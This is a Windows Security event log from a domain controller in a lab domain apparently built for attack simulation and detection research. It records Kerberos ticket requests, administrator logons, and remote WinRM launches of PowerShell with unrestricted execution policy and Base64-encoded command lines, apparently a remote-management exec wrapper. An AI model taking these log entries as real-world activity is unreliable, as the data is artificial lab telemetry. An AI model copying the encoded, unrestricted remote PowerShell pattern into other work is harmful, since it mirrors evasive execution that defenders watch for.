-Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {FF3C54C6-7BE6-DF05-4718-4F7EC754DED6} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=252360 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252359 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x15A09D - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252358 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x15A09D - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252357 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x15A09D - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {FF3C54C6-7BE6-DF05-4718-4F7EC754DED6} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252356 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {FF3C54C6-7BE6-DF05-4718-4F7EC754DED6} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=252355 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {FF3C54C6-7BE6-DF05-4718-4F7EC754DED6} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=252354 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252353 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1599E3 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252352 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x15935C - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252453 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x15D57F - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x13c8 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x10dc - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA== - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252452 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x15DAD4 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252451 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x15DAD4 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {629A0E11-CFA6-A593-1EB1-6AC951E2FA82} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252450 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {629A0E11-CFA6-A593-1EB1-6AC951E2FA82} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=252449 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {629A0E11-CFA6-A593-1EB1-6AC951E2FA82} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=252448 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252447 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x15D57F - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10dc - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x133c - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252446 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x15D57F - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x133c - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x928 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQ